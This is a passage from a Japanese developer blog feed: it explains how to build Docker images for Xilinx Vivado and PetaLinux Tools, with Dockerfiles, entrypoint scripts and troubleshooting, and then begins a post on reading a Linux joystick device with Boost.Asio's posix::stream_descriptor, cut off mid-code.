    INFO : Log file location - /root/.Xilinx/xinstall/xinstall_1536928602376.log
    1. Vivado HL WebPACK
    2. Vivado HL Design Edition
    3. Vivado HL System Edition
    4. Documentation Navigator (Standalone)
    
    Please choose: 1
    
    INFO : Config file available at /root/.Xilinx/install_config.txt. Please use -c &lt;filename&gt; to point to this install configuration.
    root@a0981b2888bc:/vivado# cp /root/.Xilinx/install_config.txt .

こんな感じにコマンドを実行していくと `Xilinx_Vivado_SDK_2018.2_0614_1954.tar.gz` を解凍したディレクトリに `install_config.txt` ができていると思うので、適当な場所にコピーし、必要に応じて修正をしておきます。このディレクトリはもう必要ないので消してしまって大丈夫です。一応生成された `install_config.txt` を貼っておきます。

```ini
#### Vivado HL WebPACK Install Configuration ####
Edition=Vivado HL WebPACK

# Path where Xilinx software will be installed.
Destination=/opt/Xilinx

# Choose the Products/Devices the you would like to install.
Modules=DocNav:1,Kintex UltraScale:1,Virtex UltraScale+ HBM ES:0,Spartan-7:1,Artix-7:1,Model Composer:0,ARM Cortex-A53:1,Zynq UltraScale+ MPSoC:1,Zynq-7000:1,SDK Core Tools:1,ARM Cortex-A9:1,ARM Cortex R5:1,Virtex UltraScale+ 58G ES:0,Zynq UltraScale+ MPSoC ES:0,System Generator for DSP:0,Kintex-7:1,Kintex UltraScale+:1,MicroBlaze:1

# Choose the post install scripts you&apos;d like to run as part of the finalization step. Please note that some of these scripts may require user interaction during runtime.
InstallOptions=Enable WebTalk for SDK to send usage statistics to Xilinx:1

## Shortcuts and File associations ##
# Choose whether Start menu/Application menu shortcuts will be created or not.
CreateProgramGroupShortcuts=1

# Choose the name of the Start menu/Application menu shortcut. This setting will be ignored if you choose NOT to create shortcuts.
ProgramGroupFolder=Xilinx Design Tools

# Choose whether shortcuts will be created for All users or just the Current user. Shortcuts can be created for all users only if you run the installer as administrator.
CreateShortcutsForAllUsers=0

# Choose whether shortcuts will be created on the desktop or not.
CreateDesktopShortcuts=1

# Choose whether file associations will be created or not.
CreateFileAssociation=1

```

[^1]: モード自体は搭載されているっぽいけど途中必要になる Xilinx アカウントの指定などができないため使い物にならない

### Docker イメージの作成

今後 Vivado 以外にも GUI アプリケーションを Docker コンテナに閉じ込める機会がありそうだったことから、まず X11 関連のパッケージをインストールした Docker イメージ `ubuntu-xorg` を作成し、その後このイメージをベースに Vivado をインストールした `ubuntu-vivado` イメージを作成することにしました。

まず `ubuntu-xorg` の `Dockerfile` がこんな感じです。作成したイメージを Docker Hub などを通してグローバルに公開する予定もなかったことから、ミラーサーバを日本のものに変更してしまったりしています。

```docker
FROM ubuntu:xenial

ENV DEBIAN_FRONTEND noninteractive

RUN \
  sed -i -e &quot;s%http://[^ ]\+%http://ftp.jaist.ac.jp/pub/Linux/ubuntu/%g&quot; /etc/apt/sources.list &amp;&amp; \
  apt update &amp;&amp; \
  apt upgrade -y &amp;&amp; \
  apt -y --no-install-recommends install \
    ca-certificates curl sudo xorg dbus dbus-x11 ubuntu-gnome-default-settings gtk2-engines \
    ttf-ubuntu-font-family fonts-ubuntu-font-family-console fonts-droid-fallback lxappearance &amp;&amp; \
  apt-get autoclean &amp;&amp; \
  apt-get autoremove &amp;&amp; \
  rm -rf /var/lib/apt/lists/* &amp;&amp; \
  echo &quot;%sudo ALL=(ALL) NOPASSWD: ALL&quot; &gt;&gt; /etc/sudoers

ARG gosu_version=1.10
RUN \
  curl -SL &quot;https://github.com/tianon/gosu/releases/download/${gosu_version}/gosu-$(dpkg --print-architecture)&quot; \
    -o /usr/local/bin/gosu &amp;&amp; \
  curl -SL &quot;https://github.com/tianon/gosu/releases/download/${gosu_version}/gosu-$(dpkg --print-architecture).asc&quot; \
    -o /usr/local/bin/gosu.asc &amp;&amp; \
  gpg --keyserver ha.pool.sks-keyservers.net --recv-keys B42F6819007F00F88E364FD4036A9C25BF357DD4 &amp;&amp; \
  gpg --verify /usr/local/bin/gosu.asc &amp;&amp; \
  rm -rf /usr/local/bin/gosu.asc /root/.gnupg &amp;&amp; \
  chmod +x /usr/local/bin/gosu
```

この `Dockerfile` を使ってこんな感じでイメージを作成しました。

    $ docker image build --rm --no-cache --pull -t ubuntu-xorg .

続いて `ubuntu-vivado` です。とりあえず、作成した `Dockerfile` がこんな感じです。

```docker
FROM ubuntu-xorg

RUN \
  dpkg --add-architecture i386 &amp;&amp; \
  apt update &amp;&amp; \
  apt -y --no-install-recommends install \
    build-essential git gcc-multilib libc6-dev:i386 ocl-icd-opencl-dev libjpeg62-dev &amp;&amp; \
  apt-get autoclean &amp;&amp; \
  apt-get autoremove &amp;&amp; \
  rm -rf /var/lib/apt/lists/*

COPY install_config.txt /vivado-installer/

ARG VIVADO_TAR_URI=http://path/to/Xilinx_Vivado_SDK_2018.2_0614_1954.tar.gz
RUN \
  curl ${VIVADO_TAR_URI} | tar zx --strip-components=1 -C /vivado-installer &amp;&amp; \
  /vivado-installer/xsetup \
    --agree 3rdPartyEULA,WebTalkTerms,XilinxEULA \
    --batch Install \
    --config /vivado-installer/install_config.txt &amp;&amp; \
  rm -rf /vivado-installer

COPY entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh
ENTRYPOINT [&quot;/usr/local/bin/entrypoint.sh&quot;]

CMD [&quot;/bin/bash&quot;, &quot;-l&quot;]
```

最初の [`RUN`](https://docs.docker.com/engine/reference/builder/#run) は見てわかるとおりいくつかのパッケージをインストールしています。Vivado 自体が依存しているパッケージはほとんど無い[^2]ようなのですが、Vivado HLS で OpenCV を使った C simulation を実行しようとした際にいろいろ怒られたのでそれらを追加しています。Git は使えると便利なので入れただけで、必須ではないと思います。

[^2]: 必要なライブラリ等は一緒にインストールされるようになっている

次の [`COPY`](https://docs.docker.com/engine/reference/builder/#copy) から `RUN` で Vivado のインストールをしています。ポイントはインストーラを `curl` で流し込んでいる点です。インストーラを `Dockerfile` と同じディレクトリに置く (build context に含める) と、手元の環境ではなぜか高確率で失敗することが多かったほか、作成されるイメージのサイズが大きくなってしまうため、それを防ぐという狙いがあります。その他 `curl` の出力をそのまま `tar` に流したり、インストーラの取り込みから関連ファイルの削除までを1つの `RUN` で行うことで、`docker image build` したときのえげつないディスクアクセスを低減させたり、イメージの肥大化を防ぐなどの工夫もしています。

この次にやっているのが [`ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) の設定です。これはホストユーザとコンテナ内ユーザの UID を一緒にするための細工で、詳しくは後ほど説明します。とりあえず、ここで `COPY` している `entrypoint.sh` がこんな感じです。

```bash
#!/bin/bash

UART_GROUP_ID=${UART_GROUP_ID:-20}
if ! grep -q &quot;x:${UART_GROUP_ID}:&quot; /etc/group; then
  groupadd -g &quot;$UART_GROUP_ID&quot; uart
fi
UART_GROUP=$(grep -Po &quot;^\\w+(?=:x:${UART_GROUP_ID}:)&quot; /etc/group)

if [[ -n &quot;$USER_ID&quot; ]]; then
  useradd -s /bin/bash -u &quot;$USER_ID&quot; -o -d &quot;$PWD&quot; user
  usermod -aG sudo user
  usermod -aG &quot;$UART_GROUP&quot; user
  chown user $(tty)
  exec /usr/local/bin/gosu user &quot;$@&quot;
else
  exec &quot;$@&quot;
fi
```

適当なディレクトリに `Dockerfile`、`entrypoint.sh`、そして `install_config.txt` を配置し、また `Xilinx_Vivado_SDK_2018.2_0614_1954.tar.gz` を渡すためのローカルサーバを立てるなどの準備をしたうえで、以下のコマンドでイメージを作成しました。

    $ docker image build --rm --no-cache --pull -t ubuntu-vivado .

### インストールした Vivado を使う

まず、先ほど飛ばした `entrypoint.sh` によるこれはホストユーザとコンテナ内ユーザの UID を一緒にするための細工を紹介したいと思います。Docker コンテナは、様々な制限が加えられているとはいえ `root` ユーザで実行されるため、いくつか面倒なことを引き起こします。例えば [`--volume`](https://docs.docker.com/engine/reference/run/#volume-shared-filesystems) オプションでマウントした領域にコンテナ内からファイルを作成するとその所有者が `root` になってしまうなどです。

そこで `ENTRYPOINT` です。詳しい解説は[公式ドキュメント](https://docs.docker.com/engine/reference/builder/#understand-how-cmd-and-entrypoint-interact)にまかせるとして、この `ENTRYPOINT` を使うとコンテナ内で実行されるコマンドを `&lt;ENTRYPOINT に指定したコマンド&gt; &lt;CMD に指定したコマンド&gt;` のようにでき、つまり `CMD` に指定したコマンドを実行する前に任意の処理を実行させることが可能になります。これを利用して、本命のコマンドを実行する前にコンテナ内での作業ユーザを作成してしまおうという作戦です[^3]。

[^3]: コンテナ内ユーザの UID を指定する方法に [`--user`](https://docs.docker.com/engine/reference/run/#user) オプションを使うという手もありますが、これはコンテナ実行開始からその UID になってしまうため、今回の目的には合わないのです

さて上にあげた `entrypoint.sh` を要約するとこんな感じです。

```bash
#!/bin/bash

useradd -s /bin/bash -u &quot;$USER_ID&quot; -o -d &quot;$PWD&quot; user
chown user $(tty)
exec /usr/local/bin/gosu user &quot;$@&quot;
```

1つ目のコマンドで UID が環境変数 `USER_ID` に渡した値のユーザ `user` を作成し、[`gosu`](https://github.com/tianon/gosu) コマンドを使って `user` で引数のコマンドを実行しています。ちなみに2行目は `gosu` した後も `tty` の所有権が `root` のままでいろいろ問題があった[^4]ので、それを解決するために実行しています。また `useradd` に渡しているオプション `-d &quot;$PWD&quot;` は、ディレクトリ共有の細かな設定が面倒だったため [`-w`](https://docs.docker.com/engine/reference/run/#workdir) で指定したディレクトリをそのまま `user` の `$HOME` にしてしまおうというものです。`$HOME` は Vivado はもちろん多くのソフトウェアやライブラリがいろいろなファイルを出力するので、いずれもう少しいい感じにしたいなぁと...

[^4]: `screen` が立ち上がらず PetaLinux Tools で `petalinux-config -c kernel` などが失敗してしまうため

実際に動作させてみるとこんな感じです。

![](./docker_run.png)

では Vivado などのソフトウェアを立ち上げていきます。Docker コンテナ内の X11 アプリケーションを呼び出す方法にはいくつかのアプローチがあるようですが、今回は `/tmp/.X11-unix/` を共有してしまう方法を紹介しようと思います。まず次のコマンドで作業ユーザによるローカルからの X11 のリクエストを許可するようにします。

    $ xhost +si:localuser:$(whoami)

次に、Docker コンテナを以下のようなオプションを付けて起動します。環境変数 `$DISPLAY` と `/tmp/.X11-unix/` を共有させている感じです。

    $ docker container run -it --rm \
        -e USER_ID=$UID \
        -e DISPLAY \
        -v /tmp/.X11-unix:/tmp/.X11-unix:ro \
        -v ~/work/localhost/vivado:/work \
        -w /work \
        ubuntu-vivado

あとは、起動したシェルで `/opt/Xilinx/Vivado/2018.2/settings64.sh` を `source` して[^5]、`vivado` や `vivado_hls`、また `/opt/Xilinx/SDK/2018.2/settings64.sh` を `source` して `xsdk` などのコマンドを実行すれば目的のソフトウェアのウィンドウが開くはずです。

[^5]: こんな感じでベンダのシェルスクリプトを `source` する系のやつ、Altera とかその他こういう系のソフトウェアでよく見かけるのだけど、もっとクールな方法って無いのかなぁ...

### 既知の問題点等

#### Vivado HLS で C simulation しようとするとリンカエラーが出る

Vivado HLS で C simulation を実行すると、こんな感じのリンカエラーが出て失敗してしまいます。

    Starting C simulation ...
    /opt/Xilinx/Vivado/2018.2/bin/vivado_hls /work/fp_mul_pow2/proj_fp_mul_pow2/solution1/csim.tcl
    INFO: [HLS 200-10] Running &apos;/opt/Xilinx/Vivado/2018.2/bin/unwrapped/lnx64.o/vivado_hls&apos;
    INFO: [HLS 200-10] For user &apos;user&apos; on host &apos;0d8381db2214&apos; (Linux_x86_64 version 4.18.7-arch1-1-ARCH) on Sat Sep 15 17:07:50 JST 2018
    INFO: [HLS 200-10] In directory &apos;/work/fp_mul_pow2&apos;
    INFO: [HLS 200-10] Opening project &apos;/work/fp_mul_pow2/proj_fp_mul_pow2&apos;.
    INFO: [HLS 200-10] Opening solution &apos;/work/fp_mul_pow2/proj_fp_mul_pow2/solution1&apos;.
    INFO: [SYN 201-201] Setting up clock &apos;default&apos; with a period of 5ns.
    INFO: [HLS 200-10] Setting target device to &apos;xc7k160tfbg484-1&apos;
    INFO: [SIM 211-2] *************** CSIM start ***************
    INFO: [SIM 211-4] CSIM will launch GCC as the compiler.
       Compiling(apcc) ../../../../fp_mul_pow2_test.c in debug mode
    INFO: [HLS 200-10] Running &apos;/opt/Xilinx/Vivado/2018.2/bin/unwrapped/lnx64.o/apcc&apos;
    INFO: [HLS 200-10] For user &apos;user&apos; on host &apos;0d8381db2214&apos; (Linux_x86_64 version 4.18.7-arch1-1-ARCH) on Sat Sep 15 17:07:52 JST 2018
    INFO: [HLS 200-10] In directory &apos;/work/fp_mul_pow2/proj_fp_mul_pow2/solution1/csim/build&apos;
    INFO: [APCC 202-3] Tmp directory is /tmp/apcc_db_user/5361536998872751479
    INFO: [APCC 202-1] APCC is done.
       Compiling(apcc) ../../../../fp_mul_pow2.c in debug mode
    INFO: [HLS 200-10] Running &apos;/opt/Xilinx/Vivado/2018.2/bin/unwrapped/lnx64.o/apcc&apos;
    INFO: [HLS 200-10] For user &apos;user&apos; on host &apos;0d8381db2214&apos; (Linux_x86_64 version 4.18.7-arch1-1-ARCH) on Sat Sep 15 17:07:59 JST 2018
    INFO: [HLS 200-10] In directory &apos;/work/fp_mul_pow2/proj_fp_mul_pow2/solution1/csim/build&apos;
    INFO: [APCC 202-3] Tmp directory is /tmp/apcc_db_user/5991536998879756764
    INFO: [APCC 202-1] APCC is done.
       Generating csim.exe
    Makefile.rules:399: recipe for target &apos;csim.exe&apos; failed
    /opt/Xilinx/Vivado/2018.2/tps/lnx64/binutils-2.26/bin/ld: cannot find crt1.o: No such file or directory
    /opt/Xilinx/Vivado/2018.2/tps/lnx64/binutils-2.26/bin/ld: cannot find crti.o: No such file or directory
    /opt/Xilinx/Vivado/2018.2/tps/lnx64/binutils-2.26/bin/ld: cannot find -lpthread
    /opt/Xilinx/Vivado/2018.2/tps/lnx64/binutils-2.26/bin/ld: cannot find -lm
    collect2: error: ld returned 1 exit status
    make: *** [csim.exe] Error 1
    ERROR: [SIM 211-100] &apos;csim_design&apos; failed: compilation error(s).
    INFO: [SIM 211-3] *************** CSIM finish ***************
    4
        while executing
    &quot;source /work/fp_mul_pow2/proj_fp_mul_pow2/solution1/csim.tcl&quot;
        invoked from within
    &quot;hls::main /work/fp_mul_pow2/proj_fp_mul_pow2/solution1/csim.tcl&quot;
        (&quot;uplevel&quot; body line 1)
        invoked from within
    &quot;uplevel 1 hls::main {*}$args&quot;
        (procedure &quot;hls_proc&quot; line 5)
        invoked from within
    &quot;hls_proc $argv&quot;
    Finished C simulation.

これは、Project Settings を開き、Simulation のページにある Linker Flags に `-B/usr/lib/x86_64-linux-gnu/` を指定することで解決します。

![](./hls_ldflags.png)

おそらく何かパッケージが足りないせいなんだと思いますが、特定には至っていません...

#### Zybo Z7 の USB JTAG/UART が使いたい

Digilent が [Zybo Z7](https://reference.digilentinc.com/reference/programmable-logic/zybo-z7/start) という FPGA ボードを出しています。このボードには USB JTAG/UART port という、その名の通り USB ケーブル1本で JTAG も UART も使えるようになる便利なポートが付いています。これを Docker コンテナから使えるようにしてみましょう。

まずホスト環境に udev rule を追加します。ここでホスト環境をいじらないといけないのは仕方ないですね[^6]... 一旦コンテナを作成し、その中から Digilent の udev rule ファイルを取り出します。

    $ docker container run -d --name poepoe ubuntu-vivado
    $ docker container cp poepoe:/opt/Xilinx/Vivado/2018.2/data/xicom/cable_drivers/lin64/install_script/install_drivers/52-xilinx-digilent-usb.rules .
    $ docker container rm poepoe

あとは取り出したファイルをホストの `/etc/udev/rules.d/` に配置してやればおkです。`udevcontrol reload_rules` を実行すれば即時反映されるかもしれませんが、再起動するのが確実だと思います。

準備が整ったら Docker コンテナからデバイスにアクセスできるようにしましょう。Docker コンテナ内で触れるデバイスを指定するには [`--device`](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) というオプションが使えます。コンテナを起動する際に、JTAG は USB のデバイスファイル `/dev/bus/usb/&lt;bus&gt;/&lt;device&gt;` を、UART は `/dev/ttyUSB1` などをこんな感じで指定してやればおkです。USB のデバイスファイルは接続毎に変わってしまうので、`lsusb` の結果から自動生成すると良いでしょう。

    $ docker container run -it --rm \
        -e USER_ID=$UID \
        -e DISPLAY \
        --device $(lsusb -d 0403:6010 | perl -pe &apos;s!Bus\s(\d{3})\sDevice\s(\d{3}).*!/dev/bus/usb/\1/\2!&apos;)
        --device /dev/ttyUSB1
        -v /tmp/.X11-unix:/tmp/.X11-unix:ro \
        -v ~/work/localhost/vivado:/work \
        -w /work \
        ubuntu-vivado

ただこれだと途中で接続を解除してしまったりすると Docker コンテナを再起動するしかなくなってしまうのでびみょいです。Vivado Lab Edition をインストールした VM を作成して USB ポートやハブを attach、Vivado Hardware Server を立ち上げておく等すればいいかもしれません (未検証)。

[^6]: 毎回手作業でパーミッション変更するという手もあるけど...

## PetaLinux Tools

### 準備

続いて PetaLinux Tools です。こちらも同様に、まずはインストーラのダウンロードから始めます。配布ページは[ここ](https://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/embedded-design-tools.html)で、何やらリンクがたくさんありますが、**PetaLinux 2018.2 Installer** をダウンロードすればおkです。

時間のある方は、ダウンロードしたインストーラを `file` コマンドに掛けてみたり、適当な環境でとりあえず実行してみたりすればいいと思います。

### Docker イメージの作成

作成した `Dockerfile` がこんな感じです。面倒だったのでバリバリ X11 アプリケーションに依存しているわけではありませんが[^7]ベースイメージを先程作成した `ubuntu-xorg` にしました。

[^7]: `petalinux-build` などを実行すると裏で `Xvfb` が大量に立ち上がってたりはする

```docker
FROM ubuntu-xorg

ENV DEBIAN_FRONTEND=noninteractive \
    LANG=en_US.UTF-8 \
    LANGUAGE=en_US:en \
    LC_ALL=en_US.UTF-8

RUN \
  dpkg --add-architecture i386 &amp;&amp; \
  apt update &amp;&amp; \
  apt -y --no-install-recommends install \
    autoconf bison build-essential chrpath cpio diffstat flex gawk gcc-multilib git \
    gnupg gzip iproute2 libc6-dev:i386 libglib2.0-dev libncurses5-dev libsdl1.2-dev \
    libselinux1 libssl-dev libtool libtool-bin locales locales-all make net-tools \
    pax rsync screen socat tar texinfo tofrodos unzip wget xterm xvfb xz-utils \
    zlib1g-dev zlib1g-dev:i386 &amp;&amp; \
  (echo &quot;dash dash/sh boolean false&quot; | debconf-set-selections) &amp;&amp; \
  dpkg-reconfigure dash &amp;&amp; \
  apt-get autoclean &amp;&amp; \
  apt-get autoremove &amp;&amp; \
  rm -rf /var/lib/apt/lists/* &amp;&amp; \
  sed -i -e &apos;s/# \(en_US\.UTF-8 .*\)/\1/&apos; /etc/locale.gen &amp;&amp; \
  locale-gen

ARG PETALINUX_INSTALLER=http://path/to/petalinux-v2018.2-final-installer.run
RUN \
  mkdir -p /opt/petalinux /work &amp;&amp; \
  chown nobody:nogroup /opt/petalinux /work &amp;&amp; \
  curl -SL $PETALINUX_INSTALLER -o /work/petalinux-installer.run &amp;&amp; \
  chmod +x /work/petalinux-installer.run &amp;&amp; \
  cd /work &amp;&amp; \
  (yes | sudo -u nobody /work/petalinux-installer.run /opt/petalinux) &amp;&amp; \
  cd / &amp;&amp; \
  rm -rf /work

COPY entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh
ENTRYPOINT [&quot;/usr/local/bin/entrypoint.sh&quot;]

CMD [&quot;/bin/bash&quot;, &quot;-l&quot;]
```

最初の [`ENV`](https://docs.docker.com/engine/reference/builder/#env) でロケールの設定も行っています。ロケールが正しくないと PetaLinux Tools のインストール**中盤**でエラーを出して終了して最初からになってしまいます。

次の `RUN` で依存パッケージのインストールといくつかの設定を行っています。依存パッケージの洗い出しには本当に苦労しました。ドキュメントに依存パッケージリストがありますが**不完全**ですし、起動したインストーラが時間のかかるハッシュ確認とファイル展開の次に行う最初の依存パッケージ確認で不足があると終了して最初からになってしまいますし、最初のパッケージ確認をパスして「やったか？」と思えばインストール中盤でまた依存パッケージ確認があり不足があれば終了して最初からになってしまいますし、やっとインストールできたと思い早速 `petalinux-create` したら今度は `rsync` が無いと怒り出したり...

次にやっているのが PetaLinux Tools のインストールです。これも Vivado のときとだいたい同じ感じになっています。ただ、このインストーラは**圧縮ファイルが付加されたシェルスクリプト**なので展開する必要がなかったり[^8]、`root` で実行すると怒られるので `sudo` で `nobody` で実行させていたり、インストール途中いくつか確認を求められるので `yes` コマンドを使っていたりします。ちなみにこのインストーラを実行すると途中 EULA の文章を `less` で開いてきたりするのですが、これはコンテナ内に `less` をインストールしないという方法で回避できました。ここだけはエラーチェックが緩くて助かりました。

最後が Vivado のときと同じく `ENTRYPOINT` の設定です。Vivado のときの `entrypoint.sh` からいらないものを削ったものを入れています。

```bash
#!/bin/bash

if [[ -n &quot;$USER_ID&quot; ]]; then
  useradd -s /bin/bash -u &quot;$USER_ID&quot; -o -d &quot;$PWD&quot; user
  usermod -aG sudo user
  chown user $(tty)
  exec /usr/local/bin/gosu user &quot;$@&quot;
else
  exec &quot;$@&quot;
fi
```

あとは同じように Docker イメージを作成すればおkです。

    $ docker image build --rm --no-cache --pull -t ubuntu-petalinux .

作成したイメージは適当に起動して `/opt/petalinux/settings.sh` を `source` してやれば PetaLinux Tools の各種コマンドが実行できるようになります。

[^8]: Vivado のときみたいなえげつないディスクアクセスを減らす工夫ができないので勘弁してほしい

### 既知の問題点等

#### Arch Linux で PetaLinux Tools が使い物にならない

前述したように、Arch Linux で PetaLinux Tools がうまく動いてくれません。例えば `petalinux-config --get-hw-description=poepoe` を実行すると、裏で実行されているコマンドが SEGV してしまいます。全く同じイメージ (自前の container registry で転送した) を CentOS 7 で使ったら普通に動いたので、カーネル新しすぎるとダメなのかなぁと予想していますが、時間がなくて調べられていません。ちなみに Arch Linux に直接インストールしてみてもダメでした。

#### TFTP

僕が試したとき Ubuntu の Docker コンテナで tftpd のインストールがうまくいきませんでした。これも時間の都合でちゃんと調べられてないのでなんとかしたいところです。

## まとめ

Docker コンテナ内に FPGA 関連ツールを閉じ込めることで、二度と手間のかかるインストールをしなくて良くなったり、同じ環境の複製が容易になったり、環境汚染を気にしなくて良くなったり、ソフトウェアのインストール方法を細かく示すことができたり、CI 環境の構築にも役立つなど、とにかく便利だというのを紹介しました。FPGA 関連ツールに限らず、特殊なソフトウェアのインストール先としての Docker コンテナはかなり便利なんじゃないかなぁと思います。まぁその特殊なソフトウェアが減ってくれる方が嬉しいのですが。

今回は FPGA の開発環境構築の話題でしたが、これからは実装寄りの話題もいくつか書けたらなぁと思います。

## 参考 URL

- [Dockerfile reference](https://docs.docker.com/engine/reference/builder/)
- [Docker run reference](https://docs.docker.com/engine/reference/run/)
- [UG1144 - PetaLinux Tools Documentation: Reference Guide (ver2018.2)](https://www.xilinx.com/support/documentation/sw_manuals/xilinx2018_2/ug1144-petalinux-tools-reference-guide.pdf) **(PDF)**
- [Deni Bertovic :: Handling Permissions with Docker Volumes](https://denibertovic.com/posts/handling-permissions-with-docker-volumes/)
- [ubuntu - How to do \*dpkg-reconfigure dash\* as bash automatically - Super User](https://superuser.com/a/1064247)</content:encoded></item><item><title>Boost.Asio の posix::stream_descriptor を使う</title><link>https://myon.info/blog/2018/10/14/boost-asio-posix-stream_descriptor/</link><guid isPermaLink="true">https://myon.info/blog/2018/10/14/boost-asio-posix-stream_descriptor/</guid><pubDate>Sun, 14 Oct 2018 00:00:00 GMT</pubDate><content:encoded>C++熱は冷めてしまったのですが、いつか書こうと思っていたことを書かないのもアレだなぁということで、久しぶりの C++ ネタです。

[Boost.Asio](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio.html) は、個人的に好きな C++ ライブラリの1つです。以前にもこのブログで、HTTP クライアント (Twitter API というか OAuth を叩くライブラリ) やシリアル通信をする例を紹介しました。

今回紹介するのは [`posix::stream_descriptor`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/posix__stream_descriptor.html) です。名前からなんとなく想像できるように、ファイルディスクリプタを渡してストリーム形式のデータをやり取りするためのものです。これを使って、`open(2)` したデバイスを Boost.Asio の API で操作してみたいと思います。

&lt;!--more--&gt;

## 環境

- Arch Linux (x86_64)
    - boost: 1.68.0
    - clang: 7.0.0-1
    - glibc: 2.28-4
    - linux-api-headers: 4.17.11-1
    - linux: 4.18.12.arch1-1
- Logicool Gamepad F310

## とりあえず使ってみる

身近なファイルディスクリプタといわれてまず挙がるのが標準入出力 (`STDIN_FILENO`, `STDOUT_FILENO`) でしょう。[`posix::stream_descriptor`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/posix__stream_descriptor.html) でこれらのファイルディスクリプタを操作して、入力されたものをそのまま出力する、引数なしで実行した [`cat(1)`](https://linux.die.net/man/1/cat) コマンドのような動作をするプログラムを書いてみるとこんな感じです。

```cpp
#include &lt;iostream&gt;
#include &lt;boost/asio.hpp&gt;

extern &quot;C&quot; {
#include &lt;unistd.h&gt;
}

auto main() -&gt; int {
  boost::asio::io_context ctx{};

  boost::asio::posix::stream_descriptor stream_in{ctx, ::dup(STDIN_FILENO)};
  boost::asio::posix::stream_descriptor stream_out{ctx, ::dup(STDOUT_FILENO)};

  boost::asio::streambuf buffer{};
  boost::system::error_code error{};

  while (boost::asio::read(stream_in, buffer, boost::asio::transfer_at_least(1), error)) {
    boost::asio::write(stream_out, buffer);
  }

  if (error != boost::asio::error::eof) {
    std::cerr &lt;&lt; error.message() &lt;&lt; std::endl;
    return 1;
  }
}
```

`posix::stream_descriptor` は、コンストラクタに [`io_context`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/io_context.html) と操作したいファイルディスクリプタを渡してやるだけで準備完了です。あとはいつものように、[`read`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/read.html) や [`write`](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio/reference/write.html)、`async_xxx` などの操作ができるようになります。簡単ですね。

&lt;p style=&quot;text-align: center;&quot;&gt;&lt;object data=&quot;mycat.svg&quot; style=&quot;max-width: 100%&quot;&gt;&lt;/object&gt;&lt;/p&gt;

## Linux の Joystick API

もう少し複雑な `posix::stream_descriptor` の使用例として、Linux の Joystick API を使ったものを紹介しようと思います。なぜ Joystick なのかというと、[ドキュメント](https://www.kernel.org/doc/html/v4.18/input/joydev/joystick-api.html)にあるようにとても単純で、なにか対象をそれっぽく動かしたいときにシュッと使えていいなーと思っているからです[^1]。

[^1]: ただ、この API はいつの間にか legacy 扱いされており、これからは evdev を使うようにとありますね...

Linux マシンに Joystick を接続すると、`/dev/input/jsX` が出現します。これを [`open(2)`](https://linux.die.net/man/2/open) して [`read(2)`](https://linux.die.net/man/2/read) すると、Joystick の状態の変化を `struct js_event` の形式で取得することができます。

```c
struct js_event {
        __u32 time;     /* event timestamp in milliseconds */
        __s16 value;    /* value */
        __u8 type;      /* event type */
        __u8 number;    /* axis/button number */
};
```

[`js_event.type`](https://www.kernel.org/doc/html/v4.18/input/joydev/joystick-api.html#js-event-type) はイベントの種類を表すもので、ボタンが押された/離されたを示す `JS_EVENT_BUTTON`、スティックが動かされたかを示す `JS_EVENT_AXIS` があります。また、`open(2)` して最初に `read(2)` したときに Joystick が持つ全てのボタンやスティックの初期値が送られてくるのですが、その時の値は `JS_EVENT_INIT` との or をとった値になっています。

```c
#define JS_EVENT_BUTTON         0x01    /* button pressed/released */
#define JS_EVENT_AXIS           0x02    /* joystick moved */
#define JS_EVENT_INIT           0x80    /* initial state of device */
```

[`js_event.number`](https://www.kernel.org/doc/html/v4.18/input/joydev/joystick-api.html#js-event-number) はボタンやスティックのインデックス、[`js_event.value`](https://www.kernel.org/doc/html/v4.18/input/joydev/joystick-api.html#js-event-value) は変化後の値です。

接続された Joystick に関する情報は [`ioctl(2)`](https://linux.die.net/man/2/ioctl) で取得できます。取得できる情報には以下のようなものがあり、

```c
                        /* function                     3rd arg  */
#define JSIOCGAXES      /* get number of axes           char     */
#define JSIOCGBUTTONS   /* get number of buttons        char     */
#define JSIOCGVERSION   /* get driver version           int      */
#define JSIOCGNAME(len) /* get identifier string        char     */
#define JSIOCSCORR      /* set correction values        &amp;js_corr */
#define JSIOCGCORR      /* get correction values        &amp;js_corr */
```

例えばスティックの数は次のようなコードで取得できます。

```c
char number_of_axes;
ioctl(fd, JSIOCGAXES, &amp;number_of_axes);
```

## 任意のタイミングで Joystick の状態を取得したい

Linux の Joystick API は状態が変化したときにイベントが送られてくるというものなので、任意のタイミングで Joystick の状態を取得したいときにはイベントを監視して内部状態を更新するようなプログラムを実装する必要があります。

例えば 1/60 [s] 毎に Joystick の状態をコンソールに出力するプログラムを実装したいとします[^2]。[`jstest(1)` コマンド](https://linux.die.net/man/1/jstest)のようなイメージです。

[^2]: 状態の逐次表示はイベントを取得した時に表示を更新するだけで実現できるのでこんなことをする必要はないですが、あくまで例なので...

雑な実装としては nonblocking mode (`open` の第2引数に `O_NONBLOCK` を指定する) やスレッドを用いる方法、もう少し複雑な例としては [`select(2)`](https://linux.die.net/man/2/select) を使う方法でしょうか。タイマーに [`timerfd_create(2)`](https://linux.die.net/man/2/timerfd_create) を使い、ファイルディスクリプタの監視に `select(2)` を使って C で実装してみたのがこんな感じです。

```c
#include &lt;inttypes.h&gt;
#include &lt;stdint.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;time.h&gt;

#include &lt;fcntl.h&gt;
#include &lt;linux/joystick.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;sys/select.h&gt;
#include &lt;sys/time.h&gt;
#include &lt;sys/timerfd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;unistd.h&gt;

struct joystick_state {
  uint8_t num_axes;
  uint8_t num_buttons;
  int16_t* axes;
  int16_t* buttons;
};

static void perror_exit(const char* msg) {
  perror(msg);
  exit(EXIT_FAILURE);
}

static void update_joystick_state(struct joystick_state* state, struct js_event* jse) {
